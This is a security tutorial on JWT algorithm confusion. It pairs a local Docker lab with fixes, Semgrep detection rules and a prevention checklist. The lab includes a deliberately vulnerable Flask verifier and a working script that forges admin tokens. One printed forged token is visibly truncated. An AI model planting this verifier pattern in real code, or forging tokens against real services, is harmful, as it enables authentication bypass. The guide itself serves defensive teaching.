Skip to main content

JWT Algorithm Confusion Explained: Attack Examples & Prevention

JWT algorithm confusion lets an attacker forge a token the server fully trusts by changing the alg header: to none (no signature) or from RS256 to HS256 (the RSA public key becomes the HMAC secret). It is CWE-347 (Improper Verification of Cryptographic Signature), documented in RFC 8725 section 2.1, and has produced a decade of library CVEs. This guide covers the mechanics, a reproducible local lab, detection, and allowlist fix patterns.

What JWT algorithm confusion is and why it keeps mattering

A signed JWT (JWS compact serialization, RFC 7515) is three base64url segments: header.payload.signature. The header carries the alg parameter, which tells the verifier which cryptographic algorithm was used, and it is part of the attacker-controlled input. RFC 8725 (JSON Web Token Best Current Practices, BCP 225) describes the resulting failure mode precisely:

"The algorithm can be changed to 'none' by an attacker, and some libraries would trust this value and 'validate' the JWT without checking any signature." ... "An 'RS256' (RSA, 2048 bit) parameter value can be changed into 'HS256' (HMAC, SHA-256), and some libraries would try to validate the signature using HMAC-SHA256 and using the RSA public key as the HMAC shared secret." (RFC 8725, Section 2.1)

The root cause is a verification function that branches on the header value instead of on a server-side policy: it reads alg from the token, then picks the verification path (and therefore the key interpretation) based on it. The "algorithm confusion attack" (also called key confusion) is the generic name for forcing that dispatch to use an algorithm other than the one the application's developers intended, the same primitive PortSwigger teaches in its Web Security Academy. Once a token can be forged, every downstream check that trusts its claims (including object-level ownership checks) trusts the attacker.

  1. 1. Attacker

    Fetches the server’s RSA public key (e.g. from JWKS)

  2. 2. Attacker

    Signs a token with alg: HS256 using that key as the secret

  3. 3. Verifier

    Reads alg from the header and chooses HMAC

  4. 4. Verifier

    Accepts the forged token with admin claims

RS256→HS256 key confusion: the verifier lets the token header pick the algorithm, so the public key becomes an HMAC secret.

The taxonomy: alg: none is the "unsecured JWT" case defined in the JSON Web Algorithms registry (RFC 7518): a token with an empty signature that some verifiers accept without any integrity check. The RS256→HS256 variant is a type confusion: RS256 verification expects an RSA public key, HS256 verification expects a symmetric secret, and vulnerable code passes the same key object to both paths, so the public key, which is public by design and often served from a JWKS endpoint or embedded in clients, becomes the HMAC signing secret.

SpecificationRoleRelevant content
RFC 7519JWTClaims container; token format
RFC 7515JWSCompact serialization; the alg header parameter
RFC 7518JWAAlgorithm registry incl. none (unsecured JWT)
RFC 8725 (BCP 225)JWT BCP§2.1 documents both attacks; §3.1 algorithm verification; §3.2 appropriate algorithms and none handling
CWE-347 / CWE-345Weakness familyImproper Verification of Cryptographic Signature / Insufficient Verification of Data Authenticity (NVD maps the PyJWT case to CWE-327, Use of a Broken or Risky Cryptographic Algorithm)

The CVE history shows the bug class moving through the major JWT libraries, and still being found in 2026:

CVELibraryFlaw
CVE-2015-9235jsonwebtoken (Node.js) < 4.2.2Verification bypass: a token signed with a symmetric (HS*) algorithm was accepted where an asymmetric (RS/ES) signature was expected
CVE-2017-11424PyJWT ≤ 1.5.0The HMAC key-prep check missed PKCS1 PEM public keys (-----BEGIN RSA PUBLIC KEY-----), enabling symmetric/asymmetric key confusion (CVSS 7.5)
CVE-2022-29217PyJWT < 2.4.0With get_default_algorithms(), the attacker-submitted token chooses the signing algorithm; fix: always be explicit about accepted algorithms (CVSS 7.5)
CVE-2023-48223fast-jwt < 3.3.2Library auto-detection of public-key algorithms failed for some key types, allowing HS256 confusion; the fix was incomplete (see below)
CVE-2026-34950fast-jwt ≤ 6.1.0A whitespace-prefixed RSA public key bypassed the CVE-2023-48223 fix: algorithm confusion still possible; patched in 6.2.0
CVE-2022-21449Oracle Java 15–18 (ECDSA)"Psychic signatures": ECDSA verification accepted r = s = 0, forging ES256 JWTs and SAML/OIDC assertions among others; patched in the April 2022 Critical Patch Update

Two patterns in that table are worth internalizing. First, the library-side fixes (PyJWT blocking PEM keys as HMAC secrets) moved the bug into application code that hand-rolls verification or dispatches on the header, which is why the lab below demonstrates a custom verifier. Second, library "key type detection" keeps being bypassable (fast-jwt twice, 3 years apart in 2023 and 2026), which is exactly why RFC 8725 requires an explicit allowlist instead of detection.

Attack anatomy: three ways to forge a trusted token

The attacker starts from a legitimate token (or any token) and edits it. Only the header and payload need to change; the forged signature is recomputed. A token with alg: none looks like this:

{"alg":"none","typ":"JWT"}.{"sub":"alice","role":"admin","iat":0}.

Note the empty third segment. RFC 8725 section 3.2 is explicit that consuming libraries "SHOULD NOT consume JWTs using 'none' unless explicitly requested by the caller": a verifier that honors the header value without an explicit opt-in is vulnerable.

Attack 1: alg: none (unsigned token)

The verifier reads alg: none, skips signature verification entirely, and processes the claims. Exploitation is a base64url re-encode of the payload with the role escalated. Case variants (None, NONE, nOnE) have bypassed naive denylists in some parsers, which is why RFC 8725's approach is an allowlist, not a denylist.

Attack 2: RS256 → HS256 (public key as HMAC secret)

The server signs with RS256 (RSA private key) and verifies with the RSA public key, which is public: served at a JWKS endpoint, embedded in client code, or in a TLS certificate. The attacker takes that public key, sets alg: HS256, and signs the token with HMAC-SHA256 using the public key bytes as the secret. The vulnerable verifier reads HS256, branches into the HMAC path, and uses the same key variable it would have used for RSA, the public key. Both sides compute the same HMAC; the forged token verifies as authentic. RFC 8725's 2.1 quote above is this exact attack, referencing the original 2015 disclosure by Tim McLean (Auth0) and CVE-2015-9235.

Adjacent: key-source header injection (kid, jku, x5u)

The same trust-the-header family includes kid (key ID, historically a path traversal or SQL injection vector when the server reads the key file or DB row named by it) and jku / x5u (URLs from which the verifier fetches the key: a server-side fetch of an attacker URL, which is also SSRF territory). If the server honors an attacker-controlled jku pointing at an attacker-hosted JWKS, the attacker supplies their own key and signs freely. The OWASP JWT Cheat Sheet treats these as part of the same key-management trust boundary. This guide labbed the two signature-level attacks; the header-injection variants follow the same fix (allowlist, never honor unverified headers).

PrimitiveAttacker controlTrust assumption broken
alg: noneHeader + payload; empty signature"Signed token = integrity protected" (RFC 8725 §2.1)
RS256 → HS256Header alg; HMAC keyed with the public key"Key type matches algorithm" (RFC 8725 §3.1)
kid / jku / x5uKey ID or key-fetch URL in the header"Key source is server-controlled" (OWASP Cheat Sheet)

Reproducible local lab

Everything below runs against a single local container, with no live targets. The lab is a Flask API with two users and an admin endpoint. It signs login tokens with RS256, serves the RSA public key at /public-key (as a JWKS endpoint would), and verifies with the vulnerable dispatch pattern. The HS256 branch uses a hand-rolled HMAC check, the "custom verification" pattern that modern libraries refuse to support but applications keep re-implementing.

docker-compose.yml

services:
  app:
    build: .
    ports:
      - "8080:8080"

Dockerfile

FROM python:3.11-slim
WORKDIR /app
RUN pip install --no-cache-dir flask pyjwt cryptography
COPY app.py exploit.py ./
EXPOSE 8080
CMD ["python", "app.py"]

app.py: token API with header-dispatch verification (vulnerable)

import hashlib
import hmac
from functools import wraps

import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from flask import Flask, jsonify, request

app = Flask(__name__)

# Lab keypair, generated at startup. The public half is served at /public-key.
KEY = rsa.generate_private_key(public_exponent=65537, key_size=2048)
PRIVATE_KEY = KEY.private_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PrivateFormat.PKCS8,
    encryption_algorithm=serialization.NoEncryption(),
).decode()
PUBLIC_KEY = (
    KEY.public_key()
    .public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo,
    )
    .decode()
)

USERS = {"alice": "user", "admin": "admin"}


# --- VULNERABLE: verification dispatches on the attacker-controlled alg header ---
def verify_token(token):
    alg = jwt.get_unverified_header(token).get("alg", "")
    if alg == "RS256":
        return jwt.decode(token, PUBLIC_KEY, algorithms=["RS256"])
    if alg == "HS256":
        # VULN: the RSA public key is trusted as an HMAC secret. Hand-rolled
        # verification, so the library's key-type check is never run.
        signing_input = token.rsplit(".", 1)[0]
        expected = hmac.new(PUBLIC_KEY.encode(), signing_input.encode(), hashlib.sha256).digest()
        given = jwt.utils.base64url_decode(token.rsplit(".", 1)[1])
        if not hmac.compare_digest(expected, given):
            raise jwt.InvalidSignatureError("bad signature")
        return jwt.decode(token, options={"verify_signature": False})
    if alg == "none":
        # VULN: unsigned tokens accepted
        return jwt.decode(token, options={"verify_signature": False})
    raise jwt.InvalidTokenError("unsupported alg")


def require_token(f):
    @wraps(f)
    def wrapper(*args, **kwargs):
        auth = request.headers.get("Authorization", "")
        token = auth.removeprefix("Bearer ")
        try:
            request.claims = verify_token(token)
        except jwt.InvalidTokenError:
            return jsonify({"error": "invalid token"}), 401
        return f(*args, **kwargs)

    return wrapper


@app.post("/login")
def login():
    username = request.get_json(force=True).get("username", "")
    if username not in USERS:
        return jsonify({"error": "unknown user"}), 401
    token = jwt.encode(
        {"sub": username, "role": USERS[username], "iat": 0},
        PRIVATE_KEY,
        algorithm="RS256",
    )
    return jsonify({"token": token})


@app.get("/public-key")
def public_key():
    return PUBLIC_KEY, 200, {"Content-Type": "text/plain"}


@app.get("/profile")
@require_token
def profile():
    return jsonify({"sub": request.claims["sub"], "role": request.claims["role"]})


@app.get("/admin")
@require_token
def admin():
    if request.claims.get("role") != "admin":
        return jsonify({"error": "admin only"}), 403
    return jsonify({"secret": "flag-admin-access-granted"})


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080)

exploit.py: attacker tooling (ships with the lab)

"""Attacker tooling for the JWT algorithm-confusion lab.

Fetches the server's RSA public key, then forges two admin tokens:
  1. an unsigned token (alg: none)
  2. an HS256 token signed with the RSA public key as the HMAC secret

The HS256 forge uses only the Python standard library so the mechanics are
visible: the signature is HMAC-SHA256 over "header.payload" keyed with the
public key bytes.
"""

import base64
import hashlib
import hmac
import json
import urllib.request

import jwt

BASE = "http://localhost:8080"
pub = urllib.request.urlopen(f"{BASE}/public-key").read().decode()

payload = {"sub": "alice", "role": "admin", "iat": 0}


def b64url(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()


# --- Attack 1: unsigned token (alg: none) ---
none_token = jwt.encode(dict(payload), None, algorithm="none")
print("NONE_TOKEN=" + none_token)

# --- Attack 2: RS256 -> HS256 confusion, public key as HMAC secret ---
header_hs = {"alg": "HS256", "typ": "JWT"}
signing_input = (
    f"{b64url(json.dumps(header_hs, separators=(',', ':')).encode())}."
    f"{b64url(json.dumps(payload, separators=(',', ':')).encode())}"
)
sig = hmac.new(pub.encode(), signing_input.encode(), hashlib.sha256).digest()
hs256_token = f"{signing_input}.{b64url(sig)}"
print("HS256_TOKEN=" + hs256_token)

Run it and exploit it

docker compose up --build

Log in as alice and confirm the baseline: her token carries role user, and the admin endpoint denies her:

$ TOKEN=$(curl -s -H 'Content-Type: application/json' \
    -d '{"username":"alice"}' http://localhost:8080/login | python3 -c \
    "import sys,json;print(json.load(sys.stdin)['token'])")

$ curl -s -H "Authorization: Bearer $TOKEN" http://localhost:8080/profile
{"role":"user","sub":"alice"}

$ curl -s -H "Authorization: Bearer $TOKEN" http://localhost:8080/admin
{"error":"admin only"}

Now forge both attack tokens. The tool fetches the public key from the server itself, exactly as a real attacker would from a JWKS endpoint:

$ docker compose exec app python exploit.py
NONE_TOKEN=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhbGljZSIsInJvbGUiOiJhZG1pbiIsImlhdCI6MH0.
HS256_TOKEN=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsInJvbGUiOiJhZG1pbiIsImlhdCI6MH0.Kdb0

Both tokens (the one with no signature and the one signed with a public key) are accepted as admin:

$ curl -s -H "Authorization: Bearer $NONE_TOKEN" http://localhost:8080/admin
{"secret":"flag-admin-access-granted"}

$ curl -s -H "Authorization: Bearer $HS256_TOKEN" http://localhost:8080/admin
{"secret":"flag-admin-access-granted"}

Alice just minted herself an admin token using only data the server publishes. The HS256 forge is worth studying line by line, because it is the entire attack: HMAC over header.payload keyed with the public key bytes. No private key was involved.

The fix: one allowlisted algorithm, no dispatch on the header

The entire vulnerability collapses into a two-line verifier that pins the algorithm server-side and never branches on the header. RFC 8725 section 3.1: "Libraries MUST enable the caller to specify a supported set of algorithms and MUST NOT use any other algorithms when performing cryptographic operations."

def verify_token(token):
    # Fixed: one allowlisted algorithm. PyJWT compares the header alg against
    # the allowlist and rejects everything else before any crypto runs.
    return jwt.decode(token, PUBLIC_KEY, algorithms=["RS256"])

Re-running the walkthrough now: the legitimate RS256 token still verifies, while both forgeries are rejected with the same error:

$ curl -s -H "Authorization: Bearer $TOKEN" http://localhost:8080/profile
{"role":"user","sub":"alice"}

$ curl -s -H "Authorization: Bearer $NONE_TOKEN" http://localhost:8080/admin
{"error":"invalid token"}

$ curl -s -H "Authorization: Bearer $HS256_TOKEN" http://localhost:8080/admin
{"error":"invalid token"}

# (PyJWT raises: jwt.exceptions.InvalidAlgorithmError:
#  The specified alg value is not allowed)

What does not work (and why that teaches you more)

  • Trusting the library's key-type detection. PyJWT now rejects PEM keys used as HMAC secrets (CVE-2017-11424 fix), and uses an explicit algorithms allowlist instead of auto-detection (CVE-2022-29217 fix); modern Node libraries require an explicit algorithms list, but fast-jwt's detection was bypassed twice (CVE-2023-48223, CVE-2026-34950 via a whitespace-prefixed key). Detection is a cat-and-mouse game; an explicit allowlist is not.
  • Denylisting "none". Case variants (None, NONE) and parser quirks have bypassed string denylists. RFC 8725's answer is an allowlist of accepted algorithms and explicit opt-in for none, never a blocklist.
  • TLS alone. RFC 8725 section 3.2 notes that none can be acceptable when the JWT is protected end-to-end by another mechanism, but that is an explicit design decision for specific deployments, not a reason to let a general-purpose verifier honor attacker-chosen headers. The token is often replayed or stored outside the TLS channel.
  • Hiding the JWKS endpoint. Security through obscurity: the RSA public key is public by design. The attack needs the key the server verifies with; keeping it unlisted slows reconnaissance, it does not stop the confusion.

Detecting JWT algorithm confusion

Like IDOR, algorithm confusion has no network signature: the forged token is a well-formed JWT. Detection is therefore static-analysis-first, with runtime logging as the backstop.

Static: a Semgrep rule as a starting point

# semgrep --config jwt-alg-confusion.yml  (template — adapt to your stack)
rules:
  - id: pyjwt-decode-without-algorithms-allowlist
    patterns:
      - pattern-either:
          - pattern: jwt.decode($TOKEN, $KEY)
          - pattern: jwt.decode($TOKEN, $KEY, options={...})
      - pattern-not: jwt.decode($TOKEN, $KEY, algorithms=[...])
    message: >-
      jwt.decode without a pinned algorithms allowlist — the header alg is
      attacker-controlled (CWE-347 / RFC 8725 §3.1). Pin algorithms=["RS256"].
    languages: [python]
    severity: WARNING
  - id: custom-hmac-verifier
    pattern: hmac.new($KEY, ..., hashlib.sha256)
    message: >-
      Hand-rolled HMAC verification — confirm $KEY is a true symmetric secret,
      never an asymmetric public key (algorithm confusion).
    languages: [python]
    severity: WARNING
  - id: verify-signature-disabled
    pattern: jwt.decode($TOKEN, options={"verify_signature": False})
    message: >-
      Signature verification disabled — accepts unsigned tokens (alg:none).
    languages: [python]
    severity: ERROR

Runtime: log and alert on out-of-allowlist alg values

Log the alg header from every verified token (the verifier reads it anyway) and alert on any value outside the server allowlist: none, HS* on an RS256-only API, anything unexpected. This catches the probe-and-scan phase and post-fix regressions, though like all JWT runtime monitoring it cannot catch a single successful forgery on an accepting server. In practice, pair the alert with the SAST rules in CI: detection is code-review-first for this class.

How to prevent JWT algorithm confusion

The fix is a verification policy, not a library upgrade: pin the algorithm server-side, keep the key type consistent with it, and never let the header influence the crypto path. RFC 8725 section 3.1 states the core requirement: "each key MUST be used with exactly one algorithm, and this MUST be checked when the cryptographic operation is performed."

Verification decisionSecureVulnerable
Algorithm selectionHardcoded allowlist in the verifier (e.g. algorithms=["RS256"])Dispatch on the header alg value
Key typeRSA key object for RS/ES; raw bytes only for HSPassing the RSA public key where a symmetric secret is expected
alg: noneRejected unless explicitly opted in per deployment (RFC 8725 §3.2)Honored because the header says so
Key source (kid/jku/x5u)kid maps to a server-side allowlist; jku/x5u disabled or pinned to a fixed HTTPS URLAttacker-controlled kid (path traversal) or jku (attacker-hosted JWKS)
Library defaultsExplicit algorithms argument on every verify callget_default_algorithms() or omitted algorithms list (CVE-2022-29217)

Python (PyJWT): pinned allowlist

# insecure: algorithm chosen from the header / all algorithms allowed
claims = jwt.decode(token, public_key, algorithms=jwt.algorithms.get_default_algorithms())

# fixed: explicit allowlist; everything else raises InvalidAlgorithmError
claims = jwt.decode(token, public_key, algorithms=["RS256"])

Node.js (jsonwebtoken): algorithms option

// insecure: no algorithms list — legacy behavior trusted the header
// (the CVE-2015-9235 class)
const claims = jwt.verify(token, publicKey);

// fixed: allowlist, never omit it
const claims = jwt.verify(token, publicKey, { algorithms: ["RS256"] });

Go (golang-jwt/jwt/v5): WithValidMethods

// fixed: parser accepts only RS256; any other alg in the header fails
parser := jwt.NewParser(jwt.WithValidMethods([]string{"RS256"}))
claims := &Claims{}
token, err := parser.ParseWithClaims(tokenString, claims, func(t *jwt.Token) (any, error) {
    return publicKey, nil
})

Java (Auth0 java-jwt): algorithm-bound verifier

// fixed: the Algorithm object binds key type AND algorithm in one step
Algorithm algorithm = Algorithm.RSA256((RSAPublicKey) publicKey, null);
JWTVerifier verifier = JWT.require(algorithm).build();
DecodedJWT decoded = verifier.verify(token);

Prevention checklist

CheckHow to verify
Every verify call pins an explicit algorithms allowlistGrep for verify/decode calls; Semgrep rules in CI (rules above)
No verification path branches on the header algCode review: any get_unverified_header or header.get("alg") driving crypto is a finding
No custom HMAC/verification code using public keys as secretsSAST for hmac.new( /crypto.createHmac( fed from key material
kid/jku/x5u are server-allowlisted or disabledTest tokens with attacker-controlled kid/jku; confirm rejection
alg:none rejected (regression-tested, including case variants)Integration test: send a none token to a protected endpoint, expect 401
Out-of-allowlist alg values are logged and alertedForge an HS256 token in staging; confirm the alert fires

Key takeaways

  • JWT algorithm confusion is a verification-policy flaw (CWE-347, RFC 8725 §2.1): the attacker controls the alg header, and vulnerable verifiers let it pick the algorithm, and therefore the key interpretation.
  • Two primitives: alg: none (no signature) and RS256→HS256 (RSA public key as HMAC secret). Both let an attacker mint admin tokens from public information alone.
  • The bug class is a decade old and still shipping: jsonwebtoken, PyJWT (twice), fast-jwt (twice, most recently 2026), plus the Java ECDSA psychic-signature variant (CVE-2022-21449).
  • The fix is small and non-negotiable: pin the algorithms allowlist in every verify call (RFC 8725 §3.1), never dispatch on the header, and never let a public key double as an HMAC secret.
  • Detection is SAST-first (decode-without-allowlist, custom HMAC, disabled signature verification) with alg-header logging as the runtime backstop.

Frequently asked questions

What is a JWT algorithm confusion attack?
It is a verification-policy flaw (CWE-347, RFC 8725 §2.1): the verifier reads the attacker-controlled alg header and lets it choose the algorithm and key interpretation. Setting alg to none, or switching RS256 to HS256, lets the attacker forge tokens the server accepts.
How does the RS256 to HS256 key confusion attack work?
RS256 verifies with an RSA public key; HS256 verifies with a shared secret. If vulnerable code passes the same key to both paths, the attacker signs an HS256 token using the server's public key (which is public by design) as the HMAC secret, and the verifier accepts it.
How do you prevent JWT algorithm confusion?
Pass an explicit algorithm allowlist to every verify call (RFC 8725 §3.1), never dispatch on the token header, and never let a public key double as an HMAC secret. Use separate key objects per algorithm.
Are kid, jku and x5u header attacks the same problem?
They belong to the same trust-the-header family: the verifier lets the token choose where its key comes from. The fix is the same: ignore unverified header values for key selection and resolve keys only from server-side configuration.

Kokkuvõte eesti keeles

JWT algoritmi segiajamine (ingl k JWT algorithm confusion) on allkirjakontrolli nõrkus, kus server usaldab ründaja kontrollitavat alg-päist: ründaja muudab selle väärtuseks none (allkirja pole üldse) või HS256-ks, mille puhul kasutatakse HMAC-võtmena serveri avalikku RSA-võtit. Mõlemal juhul saab ilma privaatvõtmeta võltsida adminiõigustega märgi. See on CWE-347 ja RFC 8725 §2.1 kirjeldatud rünnak, mille tõttu on aastate jooksul parandatud jsonwebtokenit, PyJWT-d ja fast-jwt-d (viimast koguni 2026. aastal). Parandus: kinnitada kontrollimisel alati lubatud algoritmide nimekiri (nt algorithms=["RS256"]), mitte kunagi valida algoritmi päise järgi ega kasutada avalikku võtit HMAC-saladusena. Täielik laborikäik ja koodinäited on ülal inglise keeles.

Sources

Related Guides

Authentication & Access Control

Infrastructure & Configuration Hardening

All security guides by attack family